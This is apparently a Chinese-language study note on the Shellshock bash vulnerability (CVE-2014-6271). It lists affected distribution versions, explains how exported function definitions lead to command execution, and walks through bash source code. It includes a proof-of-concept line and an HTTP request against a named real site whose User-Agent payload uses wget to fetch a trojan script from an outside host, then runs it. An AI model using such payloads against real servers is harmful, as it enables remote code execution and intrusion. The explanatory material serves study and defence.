做题遇到的 直接了解了一下这个漏洞
CVE-2014-6271被当时微软评为10级漏洞 远程执行能力恐怖
影响版本
Bash版本小于等于4.3版本
Red Hat Enterprise Linux 4 (ELS)
Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2
Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1
Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1
Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2
Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1
Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1
Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1
Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2
CentOS 5 bash-3.2-33.el5.1
CentOS 6 bash-4.1.2-15.el6_5.1
CentOS 7 bash-4.2.45-5.el7_0.2
Ubuntu:
10.04
bash 4.1-2ubuntu3.1
12.04
bash 4.2-2ubuntu2.2
14.04
bash 4.3-7ubuntu1.1
Fedora:
19
bash-4.2.47-2.fc19
20
bash-4.2.47-4.fc20
21
bash-4.3.22-3.fc21
Debian:
4.1-3
4.1-3+deb6u1
4.2+dfsg-0.1
4.2+dfsg-0.1+deb7u1
4.3-9
4.3-9.1
Amazon Linux AMI
bash-4.1.2-15.19
Mac OS X
10.10
Bash漏洞的原理
BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。
此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。
简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。
也就是当加入这样的环境变量时 “() { :; }; shell命令” 他不仅会加入(){:;}这样的变量 还会顺便执行后面的shell语句
example:1
2
3env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
可能觉得这个漏洞没多问题 最多在本地弄弄
下面一个example:1
2
3
4
5
6GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
一个GET请求 当修改User-Agent为我们 () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
目标服务器解析GET请求到User-Agent时 bash解析器会触发这个漏洞 会执行后面的shell1
2
3/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh
看出恐怖之处了吧..
原理分析
从网上找到的
Shell里可以定义变量,POC中定义了一个命名为x的变量,内容是一个字符串:
() { :;}; echo vulnerable
而根据漏洞信息得知,这个漏洞产生于Shell在处理函数定义时,执行了函数体之后的命令。但这里x的值是个字符串,它是怎么转变成函数的呢。
实际这个和Bash实现有关,在Bash中定义一个函数,格式为:
function function_name() {
body;
}
当Bash在初始化环境变量时,语法解析器发现小括号和大括号的时候,就认为它是一个函数定义:1
2
3
4[lu4nx@lx-pc ~]$ say_hello='() { echo hello world; }'
[lu4nx@lx-pc ~]$ export say_hello
[lu4nx@lx-pc ~]$ bash -c 'say_hello'
hello world
上面代码在新的Bash进程中,say_hello成了新环境中的一个函数,它的演变过程如下:
1、新的bash在初始时,扫描到环境变量say_hello出现小括号和大括号,认定它是一个函数定义
2、bash把say_hello作为函数名,其值作为函数体
typeset命令可以列出当前环境中所有变量和函数定义,我们用typeset看看这个字符串怎么变成函数的。继续上面定义的say_hello函数:1
2
3
4
5[lu4nx@lx-pc ~]$ bash -c 'typeset' | fgrep -A 10 say_hello
say_hello ()
{
echo hello world
}
这里新启动了个Bash进程,然后执行了typeset,typeset会返回当前环境(新的环境)中所有定义,这里清楚看到say_hello被变成函数了。
漏洞产生原因
而这个漏洞在于,Bash把函数体解析完了之后,去执行了函数定义后面的语句,为啥会这样呢。
通过结合补丁,我对Bash的源码简单分析了下,Bash初始化时调用了builtins/evalstring.c里的parse_and_execute函数。是的,就等于Bash初始化环境时调用了类似其他高级语言中的eval函数,它负责解析字符串输入并执行。
继续看parse_and_execute的源码,关键点在这里:1
2
3218 else if (command = global_command)
219 {
220 struct fd_bitmap *bitmap;
它判断命令是否是一个定义成全局的,新的bash进程启动后,say_hello不仅被解析成函数了,还变成全局的了:1
2
3
4
5[lu4nx@lx-pc data]$ bash -c 'typeset -f'
say_hello ()
echo hello world
}
declare -fx say_hello
declare命令是Bash内置的,用来限定变量的属性,-f表示say_hello是一个函数,-x参数表示say_hello被export成一个环境变量,所以这句话的意思是让say_hello成了全局有效的函数。
资料来源:
http://www.hackdig.com/?09/hack-14006.htm
https://blog.csdn.net/tinyletero/article/details/40261593
https://blog.csdn.net/yaofeino1/article/details/55211993
http://www.freebuf.com/vuls/44994.html